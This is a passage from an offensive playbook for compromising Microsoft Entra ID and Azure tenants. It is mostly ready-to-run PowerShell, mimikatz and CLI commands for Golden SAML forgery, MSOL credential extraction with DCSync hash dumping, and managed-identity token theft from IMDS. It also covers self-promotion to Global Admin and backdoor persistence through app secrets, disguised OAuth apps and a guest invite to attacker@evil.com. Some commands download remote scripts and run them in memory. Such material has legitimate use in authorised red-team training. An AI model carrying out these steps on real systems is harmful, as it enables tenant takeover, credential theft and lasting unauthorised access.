# Option B: Get ImmutableID from Azure AD (if you have any authenticated access)
$aadUser = Get-AzureADUser -SearchString "globaladmin"
$ImmutableID = $aadUser.ImmutableId

# Forge the SAML token!
$SAMLToken = New-AADIntSAMLToken `
    -UserName        "globaladmin@targetcorp.com" `
    -ImmutableID     $ImmutableID `
    -Certificate     $cert `
    -Issuer          "http://adfs.targetcorp.com/adfs/services/trust"

Write-Host "[+] Golden SAML Token forged!"

# Use the forged token to authenticate to Azure AD / O365
$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $SAMLToken -SaveToCache
Open-AADIntOffice365WithSAMLToken -SAMLToken $SAMLToken

10.5 Step 4 — Atomic Red Team Test for Golden SAML

# Atomic Test T1606.002 — from redcanaryco/atomic-red-team
Import-Module AADInternals -Force

$saml = New-AADIntSAMLToken \
        -ImmutableID "<base64-objectguid>" \
        -PfxFileName "adfs_signing.pfx" \
        -Issuer "http://adfs.targetcorp.com/adfs/services/trust"

$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache
Write-Host "Golden SAML — Authenticated as target user!"

[DETECT] Azure Sentinel analytics rule: Unusual token issuer detected — triggers when sign-in token issuer doesn't match known ADFS config. Event ID 70 on ADFS server = certificate exported/backed up. Alert on non-ADFS sign-ins claiming ADFS as issuer.


11. Azure AD Connect / MSOL Account Abuse

What it means: Azure AD Connect is the service that syncs on-prem AD to Entra ID. It runs under a special account (MSOL_xxxxxxxxxxxxxxxx) that has DCSync rights on the on-prem domain. Compromising this account or the AD Connect server gives you the ability to dump all NTLM hashes from the domain — full on-prem compromise via cloud pivot.

[MITRE] T1003.006 — DCSync | T1552.001 — Credentials from Files

11.1 Understanding the MSOL Account

Azure AD Connect Service Account (MSOL_xxxxxxxx):
  - Automatically created during Azure AD Connect installation
  - Has DirectoryReplicationService rights on on-prem AD
  - This means → DCSync attack is possible with this account!
  - Password: Stored encrypted in local SQL Server on AADC server
  - Location: SQL Express database on Azure AD Connect server

Attack flow:
  Compromise AD Connect Server (local admin) → Extract MSOL password → DCSync

11.2 Extracting MSOL Account Credentials

# Method 1: azuread_decrypt_msol.ps1 by @xpn
# Run on the Azure AD Connect server with LOCAL ADMIN

# Download the script (or run it directly)
IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/xpn/0dc393e944d8733e3c63023968583545/raw/azuread_decrypt_msol.ps1')
# → Outputs: MSOL account credentials in plaintext

# Method 2: azuread_decrypt_msol_v2.ps1 (updated method)
IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/xpn/f12b145dba16c2eebdd1c6829267b90c/raw/azuread_decrypt_msol_v2.ps1')

# Method 3: adconnectdump
git clone https://github.com/fox-it/adconnectdump
cd adconnectdump
python adconnectdump.py       # Reads from local SQL Express
python adconnectdump.py -d <DC_IP>  # Reads from DC if running remotely

11.3 DCSync with MSOL Account

# Once you have MSOL credentials → DCSync to dump all domain hashes
# Mimikatz DCSync using MSOL account
$secpw = ConvertTo-SecureString "MSOL_PASSWORD_HERE" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("CORP\MSOL_xxxxxxxx", $secpw)

# Use Invoke-Mimikatz or run mimikatz directly
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /user:Administrator /authuser:MSOL_xxxxxxxx /authdomain:CORP /authpassword:MSOL_PASSWORD"

# Or Impacket secretsdump (from Linux)
secretsdump.py -dc-ip <DC_IP> CORP/MSOL_xxxxxxxx:'MSOL_PASSWORD'@<DC_IP>
# → Dumps all NTLM hashes from the domain!

11.4 Seamless SSO Silver Ticket Attack

# Seamless SSO creates a hidden computer account: AZUREADSSOACC$
# Its Kerberos hash NEVER changes → permanent Silver Ticket capability!

# Step 1: Dump AZUREADSSOACC$ hash via DCSync (if you have DA rights)
.\mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# → Gets NTLM hash of the computer account

# Step 2: Create a Silver Ticket for the Entra SSO endpoint
.\mimikatz.exe "kerberos::golden /user:admin /domain:corp.local \
  /sid:<DOMAIN_SID> /target:aadg.windows.net.nsatc.net \
  /rc4:<AZUREADSSOACC_NTLM_HASH> /ptt"

# Step 3: Use the Kerberos ticket to authenticate to Azure
# The autologon endpoint converts Kerberos tickets to SAML/JWT
# Navigate to: https://autologon.microsoftazuread-sso.com/
# → Authenticated to Office 365 / Azure with forged Kerberos ticket!

12. Privilege Escalation via Azure RBAC & Entra Roles

What it means: Once you have a foothold in a tenant, the next goal is elevating to Global Admin or Owner. Azure has two separate permission systems: Entra ID Roles (identity/directory) and Azure RBAC (resources). Misconfigurations and overprivileged assignments create escalation paths.

[MITRE] T1078.004 — Valid Accounts: Cloud Accounts | T1098.003 — Add Additional Cloud Roles

12.1 High-Value Entra ID Role Targets

Role                              Abuse Potential
──────────────────────────────────────────────────────────────────────────────────
Global Administrator              Full tenant control — ultimate target
Privileged Role Administrator     Can assign ANY role (including Global Admin!)
Application Administrator         Add secrets to app registrations → impersonate apps
Cloud Application Administrator   Same as above, limited scope
User Administrator                Reset user passwords
Authentication Administrator      Manage MFA/auth methods for non-admin users
Hybrid Identity Administrator     Manage Azure AD Connect → DCSync path!
Directory Writers                 Write to most directory objects
Helpdesk Administrator            Reset passwords for non-admins
Security Administrator            Manage security policies

12.2 Dynamic Group Privilege Escalation

# Dynamic groups auto-assign membership based on user attributes
# If you can modify your user attributes, you can join privileged groups!

# Step 1: Find dynamic groups and their membership rules
Get-AzureADMSGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" | 
  Select DisplayName, MembershipRule

# Example membership rule:
# (user.department -eq "Engineering") AND (user.jobTitle -contains "Senior")

# Step 2: If you can modify user attributes (User Administrator role)
# Update your profile to match the dynamic group rule!
Set-AzureADUser -ObjectId $currentUserId -Department "Engineering"
# → Auto-added to "Engineering" group → get its permissions!

12.3 Owner Abuse — Service Principal & Application

# If you are the OWNER of a Service Principal or App Registration:
# → You can add secrets to it (client credentials)
# → You can use these secrets to authenticate AS the app
# → If the app has high permissions → instant privilege escalation!

# Step 1: Identify apps where you are an owner
Get-AzureADApplication -All $true | ForEach-Object {
    $owners = Get-AzureADApplicationOwner -ObjectId $_.ObjectId
    if ($owners.ObjectId -contains $currentUserObjId) {
        Write-Host "[+] App Owner: $($_.DisplayName) — ID: $($_.AppId)"
        Get-AzureADServiceAppRoleAssignment -ObjectId $_.ObjectId
    }
}

# Step 2: Add a client secret to an app you own
$app = Get-AzureADApplication -Filter "displayName eq 'TargetApp'"
$cred = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId `
        -CustomKeyIdentifier "backdoor" -EndDate (Get-Date).AddYears(2)
Write-Host "[+] Secret: $($cred.Value)"

# Step 3: Get a token AS the app (with its permissions!)
$tenantId = "<TENANT_ID>"
$body = @{
    grant_type    = "client_credentials"
    client_id     = $app.AppId
    client_secret = $cred.Value
    scope         = "https://graph.microsoft.com/.default"
}
$token = Invoke-RestMethod -Method POST `
    -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" `
    -Body $body
Write-Host "[+] App Token: $($token.access_token)"

12.4 Global Admin Elevation — Self-Promotion

# If you have Privileged Role Administrator or Global Admin role assignment:
# → Directly assign yourself or another account to Global Administrator!

# Step 1: Get the Global Administrator role object
$globalAdminRole = Get-AzureADDirectoryRole | Where-Object {
    $_.DisplayName -eq "Global Administrator"
}

# Step 2: Add your controlled account to Global Admin role
Add-AzureADDirectoryRoleMember -ObjectId $globalAdminRole.ObjectId `
    -RefObjectId "<YOUR_USER_OR_SP_OBJECTID>"

Write-Host "[+] Added to Global Administrator role!"

# Step 3: Verify
Get-AzureADDirectoryRoleMember -ObjectId $globalAdminRole.ObjectId

13. Service Principal & Managed Identity Abuse

What it means: Service Principals (app identities) and Managed Identities (auto-managed SPs for Azure resources) are frequently over-permissioned. Compromising a resource with a managed identity, or stealing a service principal secret, can give instant access to other Azure services.

[MITRE] T1078.004 — Valid Accounts: Cloud Accounts

13.1 Stealing Managed Identity Tokens from IMDS

# Inside a compromised Azure VM, Logic App, Container, or Function App:
# Query the Instance Metadata Service (IMDS) — no credentials needed!

# Get managed identity access token for ARM
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?\
  api-version=2018-02-01&resource=https://management.azure.com/" | python3 -m json.tool

# Get token for Microsoft Graph
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?\
  api-version=2018-02-01&resource=https://graph.microsoft.com/" | python3 -m json.tool

# Get token for Key Vault
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?\
  api-version=2018-02-01&resource=https://vault.azure.net" | python3 -m json.tool

# Use the token to access Azure resources
ACCESS_TOKEN="eyJ0eXAi..."
az rest --method GET \
        --url "https://management.azure.com/subscriptions?api-version=2020-01-01" \
        --headers "Authorization=Bearer $ACCESS_TOKEN"
# Inside a compromised Azure VM — get managed identity token via PowerShell
$response = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token" `
    -Method GET `
    -Headers @{Metadata = "true"} `
    -Body @{
        "api-version" = "2018-02-01"
        "resource"    = "https://management.azure.com/"
    }

$token = ($response.Content | ConvertFrom-Json).access_token
Write-Host "[+] Managed Identity Token: $($token.Substring(0,80))..."

# Use it with Az PowerShell
Connect-AzAccount -AccessToken $token -AccountId "MI_OBJECT_ID"

13.2 Enumerating Service Principal Secrets (Key Vaults)

# If managed identity has Key Vault access → dump secrets!
# Check Key Vault permissions for current identity
az keyvault list --output table

# List all secrets in a vault
az keyvault secret list --vault-name "corp-keyvault" --output table

# Read a secret value
az keyvault secret show --vault-name "corp-keyvault" --name "db-password"

# Common finds in Key Vaults:
# - Database connection strings
# - Azure Storage SAS tokens
# - Service principal credentials (client_id + client_secret!)
# - API keys for third-party services
# - TLS/SSL certificates

13.3 BARK — BloodHound Attack Research Kit

# BARK — tool for Entra ID / Azure post-exploitation
# Designed to work with BloodHound attack paths
Import-Module .\BARK.ps1

# Get a token for Microsoft Graph using a managed identity JWT
$jwt = Get-MSGraphTokenWithClientCredentials -ClientID "<APP_ID>" -ClientSecret "<SECRET>" -TenantID "<TENANT>"

# Enumerate using the BARK functions
Get-AllAzureADUsers -Token $jwt.access_token
Get-AllAzureADApps -Token $jwt.access_token
Get-AllAzureADServicePrincipals -Token $jwt.access_token

# Add credential to service principal (persistence/escalation)
New-AppRegSecret -AppObjectID "<APP_OBJ_ID>" -Token $jwt.access_token

14. Persistence Techniques

What it means: After gaining elevated access, you need to maintain it. Entra ID offers multiple persistence mechanisms that survive password resets and even MFA changes.

[MITRE] T1098.001 — Account Manipulation: Additional Cloud Credentials | T1136.003 — Create Account: Cloud Account

14.1 Adding a Client Secret to an Enterprise App

# This persistence survives the victim's password reset!
# As long as the app has permissions, you have access

# Add secret to an existing high-privileged app
$app = Get-AzureADApplication -Filter "displayName eq 'MicrosoftGraphApp'"
$secret = New-AzureADApplicationPasswordCredential `
    -ObjectId $app.ObjectId `
    -CustomKeyIdentifier "cert2024" `
    -StartDate (Get-Date) `
    -EndDate (Get-Date).AddYears(2)

Write-Host "[PERSIST] App: $($app.DisplayName)"
Write-Host "[PERSIST] Secret: $($secret.Value)"
Write-Host "[PERSIST] Valid until: $($secret.EndDate)"

# Now use client_credentials flow at any time to get tokens
# Survives: password resets, MFA changes, account disables (if using service principal)

14.2 Creating a Backdoor Guest Account

# Invite an attacker-controlled external account as guest
$invitation = New-AzureADMSInvitation `
    -InvitedUserEmailAddress "attacker@evil.com" `
    -InviteRedirectUrl "https://myapps.microsoft.com" `
    -SendInvitationMessage $false

# Assign the guest account to a privileged group
Add-AzureADGroupMember -ObjectId "<PRIVILEGED_GROUP_ID>" `
                       -RefObjectId $invitation.InvitedUser.Id

Write-Host "[PERSIST] Guest backdoor created: $($invitation.InviteRedeemUrl)"

14.3 Registering a New OAuth App for Persistence

# Create a new app registration with high permissions → persistent backdoor
$app = New-AzureADApplication -DisplayName "Microsoft Graph Connector"

# Add required permissions (Directory.ReadWrite.All)
$graph = Get-AzureADServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$perm = $graph.AppRoles | Where-Object {$_.Value -eq "Directory.ReadWrite.All"}

# Grant admin consent for the permission
New-AzureADServiceAppRoleAssignment `
    -ObjectId (Get-AzureADServicePrincipal -Filter "appId eq '$($app.AppId)'").ObjectId `
    -PrincipalId (Get-AzureADServicePrincipal -Filter "appId eq '$($app.AppId)'").ObjectId `
    -ResourceId $graph.ObjectId `
    -Id $perm.Id

# Add client secret
$secret = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId

Write-Host "[PERSIST] App ID: $($app.AppId)"
Write-Host "[PERSIST] Secret: $($secret.Value)"

14.4 PIM Role Escalation (Bypass PIM Approvals)

# If Global Admin — activate a PIM eligible role for a backdoor account
# This can be used to self-activate roles on demand

# Using MS Graph to activate PIM role (as Global Admin)
$headers = @{"Authorization" = "Bearer $token"; "Content-Type" = "application/json"}
$body = @{
    action = "selfActivate"
    principalId = "<BACKDOOR_USER_OBJID>"
    roleDefinitionId = "<GLOBAL_ADMIN_ROLE_ID>"
    directoryScopeId = "/"
    justification = "Automated maintenance task"
    scheduleInfo = @{
        startDateTime = (Get-Date -Format "o")
        expiration = @{type = "AfterDuration"; duration = "PT8H"}
    }
} | ConvertTo-Json -Depth 5

Invoke-RestMethod -Method POST `
    -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests" `
    -Headers $headers -Body $body

15. Lateral Movement — Cloud to On-Prem

What it means: Modern environments are hybrid. Compromising Entra ID can be a stepping stone back to on-prem AD — through Azure AD Connect, Hybrid Joined devices, or ADFS. This bi-directional trust is a critical attack path.

[MITRE] T1550.001 — Use Alternate Auth Material | T1021 — Remote Services

15.1 Azure AD to On-Prem via Azure AD Connect Account

Attack Path:
Cloud compromise → Extract MSOL account credentials → DCSync on-prem AD
    OR
Cloud compromise (as Global Admin) → Abuse AADC Sync account → On-prem DA

Steps:
1. Gain Global Admin in Entra ID (any method above)
2. Enumerate Azure AD Connect servers
3. Use privilege to reset MSOL account password (or extract it from AADC server)
4. Use MSOL account for DCSync against on-prem DC

15.2 Lateral Movement to Hybrid Joined Devices

# Hybrid AD Joined devices are members of BOTH on-prem AD AND Entra ID
# PRT from cloud → gain access to on-prem resources via Kerberos

# Step 1: Get PRT for a user with hybrid joined device
# (extract from compromised HAADJ device)

# Step 2: Use PRT to get Access Token with device compliance claim
$prtCookie = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Step 3: PRT includes device compliance → bypasses CA policies that require compliant device!
# The PRT Cookie can be used to access any Azure service

# Step 4: With access to on-prem resources (SMB, WinRM), pivot back to on-prem
# The device has a valid Kerberos TGT for the on-prem domain

15.3 Azure Arc Attack Path (On-Prem to Cloud)

# Azure Arc connects on-prem servers to Azure management
# Compromising Arc service principal → lateral movement to Azure

# Enumerate Arc connected machines
az connectedmachine list --output table

# Get managed identity token from Arc-connected server (runs on any Arc server)
curl -H "Authorization: Basic $(echo -n "challenge" | base64)" \
     "http://localhost:40342/metadata/identity/oauth2/token?resource=https://management.azure.com/"

# If the Arc server's managed identity has Contributor role → full Azure access!

16. AzureHound & BloodHound for Attack Path Discovery

What it means: AzureHound is the Azure collector for BloodHound. It maps relationships between all Entra ID and Azure objects into a graph database, allowing you to visualize attack paths — just like BloodHound does for on-prem AD.

[TOOL] AzureHound + BloodHound = "SharpHound for Azure"

16.1 Running AzureHound

# Download latest AzureHound
wget https://github.com/BloodHoundAD/AzureHound/releases/latest/download/azurehound-linux-amd64.zip
unzip azurehound-linux-amd64.zip

# Collect with username + password
./azurehound -u "user@corp.com" -p "Password123" \
             list --tenant "targetcorp.com" -o output.json

# Collect with refresh token (stolen token)
./azurehound -r "<REFRESH_TOKEN>" \
             list --tenant "targetcorp.com" -o output.json

# Collect with service principal
./azurehound --app "<CLIENT_ID>" --secret "<CLIENT_SECRET>" \
             --tenant "targetcorp.com" list -o output.json

# Import into BloodHound (legacy CE)
# → BloodHound UI → Upload Data → Select output.json

16.2 Useful BloodHound Cypher Queries for Azure

// Find all paths from any user to Global Admin
MATCH p=shortestPath((u:AZUser)-[*1..]->(r:AZRole {displayname: "Global Administrator"}))
RETURN p

// Find all Service Principals with app-only Directory.ReadWrite.All
MATCH (sp:AZServicePrincipal)-[:AZAppRoleAssignment]->(r)
WHERE r.value = "Directory.ReadWrite.All"
RETURN sp.displayname, r.value

// Find Owners of high-privilege app registrations
MATCH (n)-[:AZOwns]->(app:AZApp)
WHERE app.displayname CONTAINS "Graph"
RETURN n.displayname, app.displayname

// Find all paths to Owner role on subscription
MATCH p=shortestPath((u:AZUser)-[*1..]->(r:AZRole {displayname: "Owner"}))
RETURN p

// Find managed identities with Contributor or Owner
MATCH (mi:AZManagedIdentity)-[:AZHasRole]->(role)
WHERE role.displayname IN ["Owner", "Contributor", "User Access Administrator"]
RETURN mi.displayname, role.displayname

// List all Guest users and their group memberships
MATCH (u:AZUser {usertype: "Guest"})-[:MemberOf]->(g:AZGroup)
RETURN u.displayname, g.displayname

16.3 PowerZure — Post-Compromise Azure Tool

# PowerZure — post-exploitation framework for Azure
git clone https://github.com/hausec/PowerZure
Import-Module .\PowerZure.psm1

# Show your current identity and permissions
Show-AzureCurrentUser
Get-AzureCurrentUserPrivileges

# Enumerate resources
Get-AzureSubscriptions
Get-AzureResourceGroups
Get-AzureVMs

# Dump Key Vault secrets
Get-AzureKeyVaultContent
Get-AzureKeyVaultContent -VaultName "TargetVault"

# Get managed identity tokens from VMs
Get-AzureVMManagedIdentityToken -VM "TargetVM" -Resource "https://management.azure.com/"

# Execute commands on VMs via Run Command feature (requires Contributor+)
Invoke-AzureRunCommand -VM "TargetVM" -ResourceGroup "RG1" \
                       -Command "whoami; hostname; net user"

# Lateral movement — get token for different resources
Get-AzureStorageAccounts
Get-AzureStorageAccountContent

17. Tools Reference

Tool Type Purpose Install
AADInternals PowerShell Entra ID Swiss Army knife — recon, token abuse, PRT, Golden SAML Install-Module AADInternals
ROADtools / ROADrecon Python Full Entra ID tenant dump + GUI pip install roadtools
AzureHound Go binary BloodHound collector for Azure GitHub releases
BloodHound Graph DB Attack path visualization Docker / GitHub
BARK PowerShell Post-exploitation Azure toolkit GitHub
PowerZure PowerShell Azure post-compromise operations GitHub
MSOLSpray PowerShell Password spraying M365/Azure GitHub
TeamFiltration .NET User enum + spray via Teams API GitHub
TokenTactics PowerShell Token manipulation & device code GitHub
Evilginx2 Go AiTM phishing proxy GitHub
365-Stealer Python Consent grant attack toolkit GitHub
MicroBurst PowerShell Azure enumeration (storage, subdomains) GitHub
ADFSDump C# Extract ADFS configuration + certs GitHub (FireEye/Mandiant)
adconnectdump Python Dump Azure AD Connect MSOL creds GitHub
azuread_decrypt_msol.ps1 PowerShell Decrypt MSOL account password GitHub (xpn)
Stormspotter Python Azure AD object graph GitHub
SkyArk PowerShell Discover Azure shadow admins GitHub
o365spray Python O365 user enumeration + spray GitHub

18. MITRE ATT&CK Cloud Matrix — Quick Map

Technique ATT&CK ID Covered In
Password Spraying T1110.003 §4
Device Code Phishing / Token Theft T1528 §5, §8
AiTM / Session Cookie Theft T1557, T1539 §6
Illicit OAuth Consent Grant T1528 §7
Pass-the-PRT T1606 §9
Golden SAML Token Forgery T1606.002 §10
DCSync via MSOL T1003.006 §11
Cloud Role Privilege Escalation T1078.004 §12
Managed Identity Abuse T1078.004 §13
App Registration Backdoor T1098.001 §14
Guest Account Backdoor T1136.003 §14
Legacy Protocol Bypass T1550.001 §4
Azure Arc Lateral Movement T1021 §15
Entra ID Tenant Recon T1590, T1589 §2, §3

19. Comparison Matrix

Attack Requires Creds? Bypasses MFA? Persistence? Detection Risk Impact
Password Spray No No No Medium (lockout logs) Low-High
Device Code Phishing No (social eng.) YES Yes (refresh token) Low High
AiTM (Evilginx) No (social eng.) YES Yes (session cookie) Medium High
Consent Grant No (social eng.) YES YES (refresh token) Low High
Pass-the-Token No (steal token) YES Yes (refresh token) Low High
Pass-the-PRT No (extract PRT) YES No Medium Very High
Golden SAML No (steal cert) YES YES (cert lifetime) Very Low Critical
MSOL DCSync Local admin AADC N/A (on-prem) N/A Medium Critical
Managed Identity IMDS No (inside VM) N/A No Low High
App Secret Backdoor App Owner needed YES YES (2 years) Low Very High

20. Cheat Sheet

Quick Workflow — External → Tenant Owner

PHASE 1: Recon (No Credentials)
│
├─ Invoke-AADIntReconAsOutsider -DomainName targetcorp.com
│   └─ Identify: Federated? ADFS? SSO? Tenant ID?
│
├─ python3 o365creeper.py -f emails.txt -o valid.txt
│   └─ Validate which email addresses are real accounts
│
└─ Check: Is Seamless SSO enabled? Is ADFS present? → Golden SAML path!

PHASE 2: Initial Access
│
├─ Password Spray (low and slow: 1 attempt/account/hour)
│   └─ Invoke-MSOLSpray -UserList valid.txt -Password "Winter2024!"
│
├─ Device Code Phishing (MFA bypassed!)
│   └─ Get-AzureToken -Client Graph → Send user_code to victim
│
└─ Consent Grant (if spray fails, target has MFA)
    └─ Register malicious OAuth app → Send phishing consent URL

PHASE 3: Enumerate
│
├─ roadrecon auth → roadrecon gather → roadrecon-gui
│   └─ Map: Users, Groups, Apps, CA Policies, Conditional Access gaps
│
└─ ./azurehound list → import to BloodHound
    └─ Find shortest path to Global Admin

PHASE 4: Privilege Escalation
│
├─ BloodHound attack path → identify escalation route
├─ Check if you own any high-privilege app registrations
│   └─ Add secret → use client_credentials to get app token
│
├─ Dynamic group abuse if you can modify user attributes
│
└─ ADFS present? → Golden SAML → full tenant compromise

PHASE 5: Persistence
│
├─ Add client secret to Global Admin app registration
├─ Create backdoor guest account in tenant
├─ Create new OAuth app with Directory.ReadWrite.All + admin consent
└─ If hybrid: Extract MSOL password → DCSync → full AD compromise

Key Endpoints Reference

# Authentication
https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/authorize    # Auth endpoint
https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token        # Token endpoint
https://microsoft.com/devicelogin                                     # Device code login
https://login.microsoftonline.com/common/oauth2/token               # Legacy v1

# Graph API
https://graph.microsoft.com/v1.0/me                                  # Current user
https://graph.microsoft.com/v1.0/users                               # All users
https://graph.microsoft.com/v1.0/groups                              # All groups
https://graph.microsoft.com/v1.0/servicePrincipals                  # All SPs
https://graph.microsoft.com/v1.0/applications                        # All apps
https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments  # Roles

# Azure Management
https://management.azure.com/subscriptions?api-version=2020-01-01   # List subs
https://management.azure.com/subscriptions/<SUB>/resources?api-version=2021-04-01

# IMDS (from inside Azure VM)
http://169.254.169.254/metadata/identity/oauth2/token               # MI token
http://169.254.169.254/metadata/instance?api-version=2021-02-01     # VM info

# Seamless SSO
https://autologon.microsoftazuread-sso.com/                         # Kerberos→SAML

Common Scope Values

# Microsoft Graph
https://graph.microsoft.com/.default
https://graph.microsoft.com/Mail.Read
https://graph.microsoft.com/Directory.ReadWrite.All

# Azure Resource Manager
https://management.azure.com/.default
https://management.azure.com/user_impersonation

# Key Vault
https://vault.azure.net/.default
https://vault.azure.net/user_impersonation

# Legacy (v1)
https://graph.windows.net/
https://management.core.windows.net/

# Offline access (critical for refresh tokens)
offline_access

Decision Tree — What Attack to Use?

Target environment has Entra ID / O365?
│
├─ No valid creds yet?
│   ├─ ADFS federated? → Golden SAML (if you can pivot to ADFS server)
│   ├─ Users visible in O365? → Password Spray (slow, careful)
│   └─ Can send phishing?
│       ├─ MFA enabled? → Device Code Phishing or AiTM (Evilginx)
│       └─ No MFA? → Credential phishing → direct spray
│
├─ Have low-priv creds (standard user)?
│   ├─ Run ROADrecon + AzureHound first → map the terrain
│   ├─ Check dynamic group membership rules → attribute manipulation?
│   ├─ Check app ownerships → add secret → escalate via app perms?
│   └─ Is it hybrid? → Check Azure AD Connect → MSOL account path
│
├─ Have Application Administrator?
│   └─ Add secret to existing high-priv app → client_credentials token
│
├─ Have Hybrid Identity Admin?
│   └─ Abuse Azure AD Connect → DCSync on-prem
│
├─ Inside Azure VM?
│   └─ Query IMDS for managed identity token → enumerate/escalate
│
└─ Have Global Admin?
    ├─ Extract MSOL → DCSync (on-prem takeover)
    ├─ Golden SAML via ADFS (if hybrid with ADFS)
    └─ Persist: app backdoor + guest account + new OAuth app

References & Tools

Primary Tools:

  • AADInternals — https://github.com/Gerenios/AADInternals
  • ROADtools — https://github.com/dirkjanm/ROADtools
  • AzureHound — https://github.com/BloodHoundAD/AzureHound
  • BloodHound — https://github.com/BloodHoundAD/BloodHound
  • TokenTactics — https://github.com/rvrsh3ll/TokenTactics
  • PowerZure — https://github.com/hausec/PowerZure
  • MSOLSpray — https://github.com/dafthack/MSOLSpray
  • Evilginx2 — https://github.com/kgretzky/evilginx2
  • 365-Stealer — https://github.com/AlteredSecurity/365-Stealer
  • BARK — https://github.com/BloodHoundAD/BARK
  • ADFSDump — https://github.com/mandiant/ADFSDump
  • adconnectdump — https://github.com/fox-it/adconnectdump
  • TeamFiltration — https://github.com/Flangvik/TeamFiltration

Further Reading:

  • Azure AD Attack & Defense Playbook — https://github.com/Cloud-Architekt/AzureAD-Attack-Defense
  • Awesome Azure Pentest — https://github.com/Kyuu-Ji/Awesome-Azure-Pentest
  • PayloadsAllTheThings Azure — https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/
  • ired.team Cloud — https://www.ired.team
  • MITRE ATT&CK Cloud Matrix — https://attack.mitre.org/matrices/enterprise/cloud/azure-ad/
  • Altered Security CARTP — https://www.alteredsecurity.com (CRTP/CARTS cloud labs)
  • PwnedLabs Azure — https://pwnedlabs.io/blog

← Active Directory top ↑